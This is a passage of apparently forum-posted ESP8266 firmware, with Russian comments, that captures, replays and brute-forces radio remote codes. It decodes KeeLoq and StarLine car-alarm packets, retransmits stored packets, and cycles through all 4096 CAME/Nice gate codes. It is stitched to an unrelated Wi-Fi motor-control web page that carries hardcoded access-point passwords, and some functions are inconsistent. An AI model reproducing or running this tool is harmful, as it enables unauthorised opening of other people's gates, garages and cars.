delayMicroseconds(2 * 400);
digitalWrite(TX, LOW);
delayMicroseconds(400);
}
}
}
else {
for (int i2 = 0; i2 < 8; i2++) {
if (!bitRead(keelog_codePAK1zapisSBTR[i], i2)) {
digitalWrite(TX, HIGH);
delayMicroseconds(400);
digitalWrite(TX, LOW);
delayMicroseconds(2 * 400);
}
else {
digitalWrite(TX, HIGH);
delayMicroseconds(2 * 400);
digitalWrite(TX, LOW);
delayMicroseconds(400);
}
}
}
}
}
void keelog_sendzibaruy2(byte* keelog_codePAK2zapisSBTR) {
Serial.println("- sending keelog -");
for (int i = 0; i < 9; i++) {
Serial.print(keelog_codePAK2zapisSBTR[i], HEX);
Serial.print(" - ");
}
for (int i = 0; i < 11; i++) { //посылаем преамблу
send_meander(400);
}
digitalWrite(TX, HIGH);
delayMicroseconds(400);
digitalWrite(TX, LOW);
delayMicroseconds(4000);//посылаем хедер
for ( int i = 0; i < 9; i++) {
if (decodeMethod == 1) {
for (int i2 = 7; i2 >= 0; i2--) {
if (bitRead(keelog_codePAK2zapisSBTR[i], i2)) {
digitalWrite(TX, HIGH);
delayMicroseconds(400);
digitalWrite(TX, LOW);
delayMicroseconds(2 * 400);
}
else {
digitalWrite(TX, HIGH);
delayMicroseconds(2 * 400);
digitalWrite(TX, LOW);
delayMicroseconds(400);
}
}
}
else {
for (int i2 = 0; i2 < 8; i2++) {
if (!bitRead(keelog_codePAK2zapisSBTR[i], i2)) {
digitalWrite(TX, HIGH);
delayMicroseconds(400);
digitalWrite(TX, LOW);
delayMicroseconds(2 * 400);
}
else {
digitalWrite(TX, HIGH);
delayMicroseconds(2 * 400);
digitalWrite(TX, LOW);
delayMicroseconds(400);
}
}
}
}
}
////////////////////////////////////////////////////////////////bit vvod send//////////////////////////////////////
void starline_sendVVOD1(byte* VVOD1) {
Serial.println("- sending staraylayn -ss-");
for (int i = 0; i < 9; i++) {
Serial.print(VVOD1[i], HEX);
Serial.print(" -zz ");
}
for (int i = 0; i < 13; i++) { //посылаем преамблу
send_meander(1000);
}
// digitalWrite(TX, HIGH);
// delayMicroseconds(400);
// digitalWrite(TX, LOW);
// delayMicroseconds(4000);//посылаем хедер
for ( int i = 0; i < 9; i++) {
if (decodeMethod == 1) {
for (int i2 = 7; i2 >= 0; i2--) {
if (bitRead(VVOD1[i], i2)) {
digitalWrite(TX, HIGH);
delayMicroseconds(250);
digitalWrite(TX, LOW);
delayMicroseconds(250);
}
else {
digitalWrite(TX, HIGH);
delayMicroseconds(500);
digitalWrite(TX, LOW);
delayMicroseconds(500);
}
}
}
else {
for (int i2 = 0; i2 < 8; i2++) {
if (!bitRead(VVOD1[i], i2)) {
digitalWrite(TX, HIGH);
delayMicroseconds(250);
digitalWrite(TX, LOW);
delayMicroseconds(250);
}
else {
digitalWrite(TX, HIGH);
delayMicroseconds(500);
digitalWrite(TX, LOW);
delayMicroseconds(500);
}
}
}
}
}
void starline_sendVVOD2(byte* VVOD1) {
Serial.println("- sending staraylayn -ss-");
for (int i = 0; i < 9; i++) {
Serial.print(VVOD2[i], HEX);
Serial.print(" -zz ");
}
for (int i = 0; i < 13; i++) { //посылаем преамблу
send_meander(1000);
}
// digitalWrite(TX, HIGH);
// delayMicroseconds(400);
// digitalWrite(TX, LOW);
// delayMicroseconds(4000);//посылаем хедер
for ( int i = 0; i < 9; i++) {
if (decodeMethod == 1) {
for (int i2 = 7; i2 >= 0; i2--) {
if (bitRead(VVOD2[i], i2)) {
digitalWrite(TX, HIGH);
delayMicroseconds(250);
digitalWrite(TX, LOW);
delayMicroseconds(250);
}
else {
digitalWrite(TX, HIGH);
delayMicroseconds(500);
digitalWrite(TX, LOW);
delayMicroseconds(500);
}
}
}
else {
for (int i2 = 0; i2 < 8; i2++) {
if (!bitRead(VVOD2[i], i2)) {
digitalWrite(TX, HIGH);
delayMicroseconds(250);
digitalWrite(TX, LOW);
delayMicroseconds(250);
}
else {
digitalWrite(TX, HIGH);
delayMicroseconds(500);
digitalWrite(TX, LOW);
delayMicroseconds(500);
}
}
}
}
}
/////////////////////////////keevvod///////////////////////////////////
void keelog_sendVVOD1(byte* VVOD1) {
Serial.println("- sending keelog -");
for (int i = 0; i < 9; i++) {
Serial.print(VVOD1[i], HEX);
Serial.print(" - ");
}
for (int i = 0; i < 11; i++) { //посылаем преамблу
send_meander(400);
}
digitalWrite(TX, HIGH);
delayMicroseconds(400);
digitalWrite(TX, LOW);
delayMicroseconds(4000);//посылаем хедер
for ( int i = 0; i < 9; i++) {
if (decodeMethod == 1) {
for (int i2 = 7; i2 >= 0; i2--) {
if (bitRead(VVOD1[i], i2)) {
digitalWrite(TX, HIGH);
delayMicroseconds(400);
digitalWrite(TX, LOW);
delayMicroseconds(2 * 400);
}
else {
digitalWrite(TX, HIGH);
delayMicroseconds(2 * 400);
digitalWrite(TX, LOW);
delayMicroseconds(400);
}
}
}
else {
for (int i2 = 0; i2 < 8; i2++) {
if (!bitRead(VVOD1[i], i2)) {
digitalWrite(TX, HIGH);
delayMicroseconds(400);
digitalWrite(TX, LOW);
delayMicroseconds(2 * 400);
}
else {
digitalWrite(TX, HIGH);
delayMicroseconds(2 * 400);
digitalWrite(TX, LOW);
delayMicroseconds(400);
}
}
}
}
}
//////////////////////////////////////22222222222222222222222222//////////////////////////////////////
void keelog_sendVVOD2(byte* VVOD2) {
Serial.println("- sending keelog -");
for (int i = 0; i < 9; i++) {
Serial.print(VVOD2[i], HEX);
Serial.print(" - ");
}
for (int i = 0; i < 11; i++) { //посылаем преамблу
send_meander(400);
}
digitalWrite(TX, HIGH);
delayMicroseconds(400);
digitalWrite(TX, LOW);
delayMicroseconds(4000);//посылаем хедер
for ( int i = 0; i < 9; i++) {
if (decodeMethod == 1) {
for (int i2 = 7; i2 >= 0; i2--) {
if (bitRead(VVOD2[i], i2)) {
digitalWrite(TX, HIGH);
delayMicroseconds(400);
digitalWrite(TX, LOW);
delayMicroseconds(2 * 400);
}
else {
digitalWrite(TX, HIGH);
delayMicroseconds(2 * 400);
digitalWrite(TX, LOW);
delayMicroseconds(400);
}
}
}
else {
for (int i2 = 0; i2 < 8; i2++) {
if (!bitRead(VVOD2[i], i2)) {
digitalWrite(TX, HIGH);
delayMicroseconds(400);
digitalWrite(TX, LOW);
delayMicroseconds(2 * 400);
}
else {
digitalWrite(TX, HIGH);
delayMicroseconds(2 * 400);
digitalWrite(TX, LOW);
delayMicroseconds(400);
}
}
}
}
}
void brutshlak() {
if (send_code_brut < 4097) {
codan = String(send_code_brut);
Serial.println(send_code_brut);
SendCame4(send_code_brut);
sending = "Shlak-Brutting:" + String(send_code_brut);
send_code_brut++;
}
}
void brutshlak2() {
if (send_code_brut < 4097) {
codan = String(send_code_brut);
Serial.println(send_code_brut);
SendNice(send_code_brut);
sending = "Shlak-Brutting:" + String(send_code_brut);
send_code_brut++;
}
}
void brutshlakgansta() {
///ESP.wdtDisable();
ESP.wdtEnable(1000);
for (int send_code = 0; send_code < 4096; send_code++) // этот цикл после того как код определен необходимо убрать
{
for (int j = 0; j < 7; j++) // достаточно 4-х, но из-за помех поставил 7
{
digitalWrite(TX, HIGH); // стартовый импульс
delayMicroseconds(700);
digitalWrite(TX, LOW);
for (int i = 12; i > 0; i--)
{
boolean bit_code = bitRead(send_code, i - 1);
if (bit_code)
{
digitalWrite(TX, LOW); // единица
delayMicroseconds(1400);
digitalWrite(TX, HIGH);
delayMicroseconds(700);
}
else
{
digitalWrite(TX, LOW); // ноль
delayMicroseconds(700);
digitalWrite(TX, HIGH);
delayMicroseconds(1400);
}
}
digitalWrite(TX, LOW); // пилотный период
delayMicroseconds(25200);
}
codan = String(send_code);
Serial.println(send_code);
server.handleClient();
buildXML();
server.send(200, "text/html", webSite);
ESP.wdtFeed();
}
}
void codes() {
fug = starline_code[0];
fug1 = starline_code[1];
fug2 = starline_code[2];
fug4 = starline_code[4];
fug41 = starline_code[5];
fug42 = starline_code[6];
Serial.println(fug);
Serial.println(fug1);
Serial.println(fug2);
Serial.println("CHZN");
Serial.println(fug4);
Serial.println("-");
Serial.println(fug41);
Serial.println("-");
Serial.println(fug42);
Serial.println("-");
if (fug == 3 && fug1 == 3 && fug2 == 3) {
Serial.println(" rabotaet ");
/////////////////////////////////////////////////timer///////////chobi ne otorvalo tebe zhopu uniy chkolo-ganster)))/////////33 minuti/////////////////////////////////
digitalWrite(fugabum, HIGH);
delay (5000);
digitalWrite(fugabum, LOW);
}
if (fug4 == 190 && fug41 == 150 && fug42 == 58) {
Serial.println(" rabotaet ");
/////////////////////////////////////////////////timer///////////chobi ne otorvalo tebe zhopu uniy chkolo-ganster)))/////////33 minuti/////////////////////////////////
digitalWrite(fugabum, HIGH);
delay (5000);
digitalWrite(fugabum, LOW);
}
if (fug4 == 139 && fug41 == 154 && fug42 == 218) {
Serial.println(" rabotaet ");
/////////////////////////////////////////////////timer///////////chobi ne otorvalo tebe zhopu uniy chkolo-ganster)))/////////33 minuti/////////////////////////////////
digitalWrite(fugabum, HIGH);
delay (5000);
digitalWrite(fugabum, LOW);
}
if (fug == 2 && fug1 == 2 && fug2 == 2) {
Serial.println(" nerabotaet ");
digitalWrite(fugabum, LOW);
}
}
void opendver () {
Serial.println(" rabotaet ");
/////////////////////////////////////////////////timer///////////chobi ne otorvalo tebe zhopu uniy chkolo-ganster)))/////////33 minuti/////////////////////////////////
digitalWrite(fugabum, HIGH);
codan = "OPENING";
delay (5000);
digitalWrite(fugabum, LOW);
}
устарел
Код: Выбрать все
#include <ESP8266WiFi.h>
#include <ESP8266WebServer.h>
ESP8266WebServer server(80);
const char* ssid="DWER37"; //название точки доступа
const char* password="123412345"; // пароль не будем писать
//const char* ssid="HomeIoT"; // здесь пишем название домашней точки доступа
//const char* password="DDV987654321"; // и пароль
String webSite,javaScript,XML;
unsigned long wait000=0UL,wait001=1000UL;
int OUT1=D3, OUT2=D4, BAT=D5;//Назначение выводов
int Sila, SilaLow = -43; // Контроль силы сигнала WiFi
int Batareya, BatLow = 400; //Контроль напряжения батареи
float Povorot = 0.8, Trimer; // Переменные для значений поворота и тримера двигателя
String Bat, SilaW;
const int sliderMAX=3; // This sets the number of sliders you want
int sliderVal[3]={0, 0, 0}; //Начальные значения 1 слайдера - скорость, 2-го - поворот, 3- тример
int ESPval[sliderMAX];
/////////////////////radio/////////////////////////////////////////////////////////////////////////////////////////////////
int fug;
int fug1;
int fug2;
int fug22;
int fug4;
int fug41;
int fug42;
int fug422;
int fug3;
int fug31;
int fug32;
int fug322;
/////////////////////////////////////////////////////parol
int kiop3 = 0;
int pam = 50;
int passwordkg[6] ={8,3,2,1,9,0};
int parolking = 0;
int parolvvod[6] = {0,0,0,0,0,0};
int i1p = 0;
int yach = 0;
int send_codekg = 0;
int send_codezoy = 0;
int send_code = 1;
int yacheyka = 0;
///////////////////////////////////////////////////////////////////////
int starres = 0;
int pakiweb = 0;
int bitnumber = 0;
int shirt = 0;
//wifii&server end/////////////////////////////////////
//menu
boolean backlight = true;
int contrast=50;
int kiop=0;
int menuitem = 1;
int page = 1;
int pagero = 0;
int smena = 1;//smena sig
volatile boolean up = false;
volatile boolean down = false;
volatile boolean middle = false;
int downButtonState = 0;
int upButtonState = 0;
int selectButtonState = 0;
int lastDownButtonState = 0;
int lastSelectButtonState = 0;
int lastUpButtonState = 0;
//menu end
#define rxPin D7 //d7
#define TX 6 //d6
#define fugabum D6 //d6
#define diod 2 //d6
#define tonePin 14 //d5
int ing = 0;
int starlineCounter = 0;
int starlinePreambula = 0;
static long StarLineCode1 = 0; // first part
static long StarLineCode2 = 0; // last part
static long invertStarLineCode1 = 0; // first part
static long invertStarLineCode2 = 0; // last part
String code = "";
boolean bValidPacket=false;
int decodeMethod = 1;
int lastRxValue = 0;
int tempRxValue = 0;
unsigned long lastRxTime = 0;
unsigned long tempTime = 0;
//keeloq
int keeloqHeader=0;
int keeloqCounter = 0;
int starlineZCounter = 0;
int starlineZpreambulaCounter = 0;
int keeloqPreambula = 0;
int stralineHeader=0;
static long keeloqCode1 = 0; // first part
static long keeloqCode2 = 0; // last part
static long invertkeeloqCode1 = 0; // first part
static long invertkeeloqCode2 = 0; // last part
String keecode = "";
boolean keebValidPacket=false;
int keelastRxValue = 0;
int keetempRxValue = 0;
unsigned long keelastRxTime = 0;
unsigned long keetempTime = 0;
//пробуем выброс
//keelog start
unsigned long difTime = 0;
unsigned long difTime2 = 0;
int keelog_state = 0;
int keelogCounter = 0;
byte keelog_code[9];
byte keelog_codePAK2[9];
byte keelog_codePAK1[9];
byte hugaz[9];
byte hugazk[9];
byte hugazi[9];
byte starline_code[9];
byte starline_codePAK2[9];
byte starline_codePAK1[9];
byte webpak2[9];
byte webpak1[9];
int starline_state = 0;
byte kefang[9];
byte starline_codePAK2zapis[9];
byte starline_codePAK1zapis[9];
byte starline_codePAK2zapisSBTR[9];
byte starline_codePAK1zapisSBTR[9];
byte keelog_codePAK2zapis[9];
byte keelog_codePAK1zapis[9];
byte keelog_codePAK2zapisSBTR[9];
byte keelog_codePAK1zapisSBTR[9];
byte hugazS[9];
byte hugaziS[9];
byte hugazK[9];
byte hugaziK[9];
/////////////////////////////////////////////////VVODNIE
byte VVOD1[9];
byte VVOD2[9];
String readString;
// --------------------
byte CODE[8];
int x=0;
int k=0;//schet keeloq
int kk =0; //shet star line
int starkk = 0;
void Batare(){
Batareya = analogRead(BAT); // Меряем напряжение батареи
if (Batareya < BatLow){ // Если напряжение батареи меньше порогового значения
Bat = " Батарея села, ПОРА на ЗАРЯДКУ"; // Пишем предупреждение
}
else{ // Если норма
Bat = ""; // Ничего не пишем
}
}
void SilaWifi(){
Sila = WiFi.RSSI(); // Меряем силу сигнала WiFi
if (Sila < SilaLow){
SilaW = " Сигнал слабый, РАЗВОРАЧИВАЙ";
}
else{
SilaW = "";
}
}
void buildJavascript(){
javaScript="<SCRIPT>\n";
javaScript+="xmlHttp=createXmlHttpObject();\n";
javaScript+="function createXmlHttpObject(){\n";
javaScript+=" if(window.XMLHttpRequest){\n";
javaScript+=" xmlHttp=new XMLHttpRequest();\n";
javaScript+=" }else{\n";
javaScript+=" xmlHttp=new ActiveXObject('Microsoft.XMLHTTP');\n";
javaScript+=" }\n";
javaScript+=" return xmlHttp;\n";
javaScript+="}\n";
javaScript+="function process(){\n";
javaScript+=" if(xmlHttp.readyState==0||xmlHttp.readyState==4){\n";
javaScript+=" xmlHttp.onreadystatechange=function(){\n";
javaScript+=" if(xmlHttp.readyState==4&&xmlHttp.status==200){\n";
javaScript+=" xmlDoc=xmlHttp.responseXML;\n";
javaScript+=" xmlmsg=xmlDoc.getElementsByTagName('millistime')[0].firstChild.nodeValue;\n";
javaScript+=" document.getElementById('runtime').innerHTML=xmlmsg;\n"; // Добавляем наши данные
javaScript+=" xmlmsg=xmlDoc.getElementsByTagName('Sila')[0].firstChild.nodeValue;\n";// Сила сигнала WiFi
javaScript+=" document.getElementById('Sila').innerHTML=xmlmsg;\n"; // Сила сигнала WiFi
javaScript+=" xmlmsg=xmlDoc.getElementsByTagName('Batareya')[0].firstChild.nodeValue;\n";// Напряжение батареи
javaScript+=" document.getElementById('Batareya').innerHTML=xmlmsg;\n"; // Напряжение батареи
javaScript+=" for(i=0;i<"+(String)sliderMAX+";i++){\n";
javaScript+=" xmlmsg=xmlDoc.getElementsByTagName('sliderval'+i)[0].firstChild.nodeValue;\n";
javaScript+=" document.getElementById('slider'+i).value=xmlmsg;\n";
javaScript+=" document.getElementById('Sliderval'+i).innerHTML=xmlmsg;\n";
javaScript+=" xmlmsg=xmlDoc.getElementsByTagName('ESPval'+i)[0].firstChild.nodeValue;\n";
javaScript+=" document.getElementById('ESPval'+i).innerHTML=xmlmsg;\n";
javaScript+=" }\n";
javaScript+=" }\n";
javaScript+=" }\n";
javaScript+=" xmlHttp.open('PUT','xml',true);\n";
javaScript+=" xmlHttp.send(null);\n";
javaScript+=" }\n";
javaScript+=" setTimeout('process()',1000);\n";
javaScript+="}\n";
javaScript+="function Slider(cnt){\n";
javaScript+=" sliderVal=document.getElementById('slider'+cnt).value;\n";
javaScript+=" document.getElementById('Sliderval'+cnt).innerHTML=sliderVal;\n";
javaScript+=" document.getElementById('ESPval'+cnt).innerHTML=9*(100-sliderVal)+100;\n";
javaScript+=" if(xmlHttp.readyState==0||xmlHttp.readyState==4){\n";
javaScript+=" xmlHttp.open('PUT','setESPval?cnt='+cnt+'&val='+sliderVal,true);\n";
javaScript+=" xmlHttp.send(null);\n";
javaScript+=" }\n";
javaScript+="}\n";
javaScript+="</SCRIPT>\n";
}
void buildWebsite(){ // Создаём страницу с элементами управления
buildJavascript();
webSite="<!DOCTYPE HTML>\n";
webSite+="<META name='viewport' content='width=device-width, initial-scale=1', charset=\"utf-8\">\n";
webSite+=javaScript;
webSite+="<BODY onload='process()'>\n";
webSite+="Дверь Входная\n";
webSite+="Время работы = <A ID='runtime'></A>\n";
webSite+="Сила сигнала <A ID='Sila'></A>\n"; // Сила сигнала WiFi
webSite+="Напряжение батареи <A ID='Batareya'></A>\n"; // Напряжение батареи
webSite+="<TABLE BORDER=1 width='700' height='200' style='text-align:center;border-collapse:collapse'>\n";
// webSite+="<INPUT ' TYPE='range' width='600'> \n"; // это пример слайдера
webSite+="<TR>\n"; // 1 слайдер
webSite+="<TD><INPUT ID='slider"+(String)0+"' TYPE='range' ONCHANGE='Slider("+(String)0+")'></TD>\n";
webSite+="<TD>Обороты = <A ID='Sliderval"+(String)0+"'></A>\n";
webSite+="Моторов = <A ID='ESPval"+(String)0+"'></A> * </TD>\n";
webSite+="</TR>\n";
webSite+="<TR>\n"; // 2 слайдер
webSite+="<TD><INPUT ID='slider"+(String)1+"' TYPE='range' ONCHANGE='Slider("+(String)1+")'></TD>\n";
webSite+="<TD>Дверь = <A ID='Sliderval"+(String)1+"'></A>\n";
webSite+="Дергай = <A ID='ESPval"+(String)1+"'></A></TD>\n";
webSite+="</TR>\n";
webSite+="<TR>\n"; // 3 слайдер
webSite+="<TD><INPUT ID='slider"+(String)2+"' TYPE='range' ONCHANGE='Slider("+(String)2+")'></TD>\n";
webSite+="<TD>Корекция = <A ID='Sliderval"+(String)2+"'></A>\n";
webSite+="Моторов = <A ID='ESPval"+(String)2+"'></A></TD>\n";
webSite+="</TR>\n";
webSite+="</TABLE>\n";
webSite+="</BODY>\n";
webSite+="</HTML>\n";
}
String millis2time(){ // преобразование милисекунд в вид ч/м/с
String Time="";
unsigned long ss;
byte mm,hh;
ss=millis()/1000;
hh=ss/3600;
mm=(ss-hh*3600)/60;
ss=(ss-hh*3600)-mm*60;
if(hh<10)Time+="0";
Time+=(String)hh+":";
if(mm<10)Time+="0";
Time+=(String)mm+":";
if(ss<10)Time+="0";
Time+=(String)ss;
return Time;
}
void buildXML(){
XML="<?xml version='1.0'?>";
XML+="<xml>";
XML+="<millistime>";
XML+=millis2time();
XML+="</millistime>"; // Добавляем наши данные
SilaWifi(); // Здесь измеряем силу сигнала
XML+="<Sila>"; // Сила сигнала WiFi
XML+=String(Sila)+SilaW;// Сила сигнала WiFi
XML+="</Sila>"; // Сила сигнала WiFi
Batare(); // Здесь измеряем напряжение батареи
XML+="<Batareya>"; // Напряжение батареи
XML+=String(Batareya)+Bat;// Напряжение батареи
XML+="</Batareya>"; // Напряжение батареи
for(int i=0;i<sliderMAX;i++){
XML+="<sliderval"+(String)i+">";
XML+=String(sliderVal[i]);
XML+="</sliderval"+(String)i+">";
XML+="<ESPval"+(String)i+">";
ESPval[i]=9*(100-sliderVal[i])+100;
XML+=String(ESPval[i]);
XML+="</ESPval"+(String)i+">";
}
XML+="</xml>";
}
void handleWebsite(){
buildWebsite();
server.send(200,"text/html",webSite);
}
void handleXML(){
buildXML();
server.send(200,"text/xml",XML);
}
void handleESPval(){
int sliderCNT=server.arg("cnt").toInt();
sliderVal[sliderCNT]=server.arg("val").toInt();
buildXML();
server.send(200,"text/xml",XML);
}
void setup() {
Serial.begin(115200);
pinMode(D6, OUTPUT);
pinMode(OUT1,OUTPUT);
pinMode(OUT2,OUTPUT);
pinMode(BAT,INPUT);
digitalWrite(D6, LOW);
digitalWrite(fugabum, LOW);
digitalWrite(diod, LOW);
lastRxValue = digitalRead(rxPin);
lastRxTime = micros();
//kee
keelastRxValue = digitalRead(rxPin);
keelastRxTime = micros();
delay(1000);
WiFi.softAP(ssid, password); // Создаём точку доступа
// WiFi.begin(ssid,password); //Это вариант для подключения к существующей точке
// while(WiFi.status()!=WL_CONNECTED)delay(500);
// WiFi.mode(WIFI_STA);
Serial.println("\n\nBOOTING ESP8266 ...");
Serial.print("Connected to ");
Serial.println(ssid);
Serial.print("Station IP address: ");
Serial.println(WiFi.localIP()); // Вывод в монитор порта присвоенный IP
server.on("/",handleWebsite);
server.on("/xml",handleXML);
server.on("/setESPval",handleESPval);
server.begin();
}
void loop() {
server.handleClient();
startgrabber();
if(millis()>wait000){
buildXML();
wait000=millis()+1000UL;
}
if(millis()>wait001){
wait001=millis()+300; //Обновляем значения раз в 300 милисекунд
Trimer = (ESPval[2]*.0015);
Serial.print(" Skorost] ");
Serial.print(ESPval[0]);
Serial.print(" Povorot ");
Serial.print(ESPval[1]);
Serial.print(" Trimer ");
Serial.print(ESPval[2]);
Serial.print(Trimer);
if (ESPval[0] > 200){ // Если слайдер скорости > 200
if ( ESPval[1] > 600) { // Если слайдер поворота > 600 то поворачиваем на лево
analogWrite(OUT1, ESPval[0]);
analogWrite(OUT2, int(ESPval[0] * Povorot*Trimer));
digitalWrite(D6, LOW);
Serial.print(" Le ");
Serial.print(ESPval[0] * Povorot*Trimer);
}
else if (400 > ESPval[1] ){ // Если слайдер поворота < 400 то поворачиваем на право
analogWrite(OUT1, int(ESPval[0] * Povorot));
analogWrite(OUT2, int(ESPval[0]*Trimer));
digitalWrite(D6, HIGH);
Serial.print(" Pr ");
Serial.print(int(ESPval[0] * Povorot));
}
else { // Если слайдер поворота > 400 и < 600то едем прямо
analogWrite(OUT1, ESPval[0]);
analogWrite(OUT2, int(ESPval[0]*Trimer));
Serial.print(" OK ");
}
}
else { // Если слайдер скорости < 200 - выключить моторы
analogWrite(OUT1, 0);
analogWrite(OUT2, 0);
Serial.print(" Stop ");
}
Serial.print(" Batareya ");
Serial.println(Batareya);
}
}
////////////////////radio
void startgrabber(){
tempRxValue = digitalRead(rxPin);
if(tempRxValue != lastRxValue){
tempTime = micros();
difTime = tempTime - lastRxTime;
difTime2 = tempTime - lastRxTime;
starline_get();
keelog_get();
//grab(tempTime - lastRxTime, lastRxValue);
lastRxTime = tempTime;
lastRxValue = tempRxValue;
}
}
void starline_get(){
bValidPacket = false;
if(starline_state==0){//ждем преамбулу и хедер
if(difTime2 > 900 && difTime2 < 1100 && lastRxValue ==1 ){
starlineZpreambulaCounter ++;
}
if(starlineZpreambulaCounter==6){
starline_state=1;
}
// else{
// starlineZCounter = 0;
// }
}
/////////////////////////////////////////////////////PREAMBULA STARA///////////////////////////////////////////////////////////////////////////
else if(starline_state==1){// получаем биты
if(difTime2 > 350 && difTime2 < 650 && lastRxValue == 1){// получили 1
if(decodeMethod==0){
starline_code[round(starlineZCounter/8)] = (starline_code[round(starlineZCounter/8)]>>1)|B10000000;
}
else{
starline_code[round(starlineZCounter/8)] = (starline_code[round(starlineZCounter/8)]<<1)|B00000000;
}
bValidPacket = true;
}
else if(difTime2 > 150 && difTime2 < 350 && lastRxValue == 1){
if(decodeMethod==0){
starline_code[round(starlineZCounter/8)] = (starline_code[round(starlineZCounter/8)]>>1)|B00000000;
}
else{
starline_code[round(starlineZCounter/8)] = (starline_code[round(starlineZCounter/8)]<<1)|B00000001;
}
bValidPacket = true;
}
else if(lastRxValue == 0){
}
else{
starline_state=1;
starlineZCounter = 0;
}
if(bValidPacket){
starlineZCounter++;
if(starlineZCounter==64){ //64ili66
starline_vardump();
starlineZCounter = 0;
starline_state = 0;
starlineZpreambulaCounter = 0; /////////novshetch
starkk++; /////////shetchik
}
}
}
}
///uuuaaaaaaaa che ya nadelal)))))))) IIIIIIzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzSTAAAAAAAAAAAAAAAAARRRRRRRRRRzzzzzzz
//statline pomba
void starline_vardump(){
if(decodeMethod == 0){
Serial.println(" - starline origin - ");
}
else{
Serial.println(" - starline invert - ");
}
Serial.print(starline_code[0], HEX);
Serial.print(starline_code[1], HEX);
Serial.print(starline_code[2], HEX);
Serial.print(starline_code[3], HEX);
Serial.println("-hop");
Serial.print(starline_code[4], HEX);
Serial.print(starline_code[5], HEX);
Serial.print(starline_code[6], HEX);
Serial.println("-fix");
Serial.print(starline_code[7], HEX);
Serial.println("-btn");
Serial.print(starline_code[8], HEX);
Serial.println("-dop");
fug =starline_code[0];
fug1=starline_code[1];
fug2=starline_code[2];
fug4 =starline_code[4];
fug41=starline_code[5];
fug42=starline_code[6];
Serial.println(fug);
Serial.println(fug1);
Serial.println(fug2);
Serial.println("CHZN");
Serial.println(fug4);
Serial.println("-");
Serial.println(fug41);
Serial.println("-");
Serial.println(fug42);
Serial.println("-");
if(fug==3&&fug1==3&&fug2==3){
Serial.println(" rabotaet ");
/////////////////////////////////////////////////timer///////////chobi ne otorvalo tebe zhopu uniy chkolo-ganster)))/////////33 minuti/////////////////////////////////
digitalWrite(fugabum, HIGH);
delay (5000);
digitalWrite(fugabum, LOW);
}
if(fug4==190&&fug41==150&&fug42==58){
Serial.println(" rabotaet ");
/////////////////////////////////////////////////timer///////////chobi ne otorvalo tebe zhopu uniy chkolo-ganster)))/////////33 minuti/////////////////////////////////
digitalWrite(fugabum, HIGH);
delay (5000);
digitalWrite(fugabum, LOW);
}
if(fug4==139&&fug41==154&&fug42==218){
Serial.println(" rabotaet ");
/////////////////////////////////////////////////timer///////////chobi ne otorvalo tebe zhopu uniy chkolo-ganster)))/////////33 minuti/////////////////////////////////
digitalWrite(fugabum, HIGH);
delay (5000);
digitalWrite(fugabum, LOW);
}
if(fug==2&&fug1==2&&fug2==2){
Serial.println(" nerabotaet ");
digitalWrite(fugabum, LOW);
}
}
//keeloq////////////////////////////////////////////////KEEEEEEEEEEEEEEELOOOOQ//////////////////////////////////////////////////////////////////////////
void keelog_vardump(){
if(decodeMethod == 0){
Serial.println(" - keelog origin - ");
}
else{
Serial.println(" - keelog invert - ");
}
Serial.print(keelog_code[0], HEX);
Serial.print(keelog_code[1], HEX);
Serial.print(keelog_code[2], HEX);
Serial.print(keelog_code[3], HEX);
Serial.println("-hop");
Serial.print(keelog_code[4], HEX);
Serial.print(keelog_code[5], HEX);
Serial.print(keelog_code[6], HEX);
Serial.println("-fix");
Serial.print(keelog_code[7], HEX);
Serial.println("-btn");
Serial.print(keelog_code[8], HEX);
Serial.println("-dop");
smena = 10;
//Serial.println("-smena");
// Serial.println(smena);
fug3 =keelog_code[4];
fug31=keelog_code[5];
fug32=keelog_code[6];
Serial.println(fug);
Serial.println(fug1);
Serial.println(fug2);
Serial.println("CHZN");
Serial.print(keelog_code[4] );
Serial.println("-");
Serial.print(keelog_code[5]);
Serial.println("-");
Serial.print(keelog_code[6]);
Serial.println("-");
if(fug3==26&&fug31==178&&fug32==200){
Serial.println(" rabotaet ");
/////////////////////////////////////////////////timer///////////chobi ne otorvalo tebe zhopu uniy chkolo-ganster)))/////////33 minuti/////////////////////////////////
digitalWrite(fugabum, HIGH);
delay (5000);
digitalWrite(fugabum, LOW);
}
//eprom
// EEPROM.begin(598);
// for(int z = 0; z<9; z++){
// hugazi[z] =EEPROM.read(z);
// display.print(hugazi[z],HEX);
// delay(3);
// display.display();}}
//srav fixEEPROM.begin(512);
//pak2
// for(int li = 10; li<19; li++){
// int i=0;
// keelog_codePAK2[i]=EEPROM.read(li);
// Serial.print(keelog_codePAK2[i],HEX);
// delay(100);
// i++;
// Serial.print(keelog_codePAK2[i],HEX);
// }
// for(int i = 0; i<9; i++){
// Serial.println(keelog_codePAK2[i],HEX);
// delay(3); }
// int huga =EEPROM.read(0);
// int huga1 =EEPROM.read(1);
// int huga2 =EEPROM.read(2);
// int huga3 =EEPROM.read(3);
// int huga4 =EEPROM.read(4);
// int huga5 =EEPROM.read(5);
// int huga6 =EEPROM.read(6);
// int huga7 =EEPROM.read(7);
// int huga8 =EEPROM.read(8);
// display.setTextColor(WHITE);
// display.setTextSize(1);
// display.print(huga,HEX);
// display.print(huga1,HEX);
// display.print(huga2,HEX);
// display.print(huga3,HEX);
// display.print(huga4,HEX);
// display.print(huga5,HEX);
// display.print(huga6,HEX);
// display.print(huga1,HEX);
// display.print(huga7,HEX);
// display.print(huga8,HEX);
// delay(100);
// display.display();
//Serial.println(EEPROM.read(0),HEX); // выводим значение в послед. порт
//
/*for(int i = 0; i<9; i++){
Serial.print(keelog_code[i], HEX);
Serial.print(" - ");
}*/
// keelog_send(keelog_code);
// digitalWrite(TX, HIGH);
// delay(100);
// digitalWrite(TX, LOW);
// keelog_sendPAK2(keelog_codePAK2);
// keelog_state = 0;
// for(int i = 0; i<9; i++){
// keelog_code[i]=0;
// }
}
//pak2
void keelog_get(){
bValidPacket = false;
if(keelog_state==0){//ждем преамбулу и хедер
if(difTime > 280 && difTime < 620 && lastRxValue != tempRxValue){
keelogCounter ++;
}
else{
if(keelogCounter==23){
if(difTime>2800 && difTime<6200 && lastRxValue == 0){
keelog_state=1;
}
}
keelogCounter = 0;
}
}
else if(keelog_state==1){// получаем биты
if(difTime > 560 && difTime < 1240 && lastRxValue == 1){// получили 1
if(decodeMethod==0){
keelog_code[round(keelogCounter/8)] = (keelog_code[round(keelogCounter/8)]>>1)|B10000000;
}
else{
keelog_code[round(keelogCounter/8)] = (keelog_code[round(keelogCounter/8)]<<1)|B00000000;
}
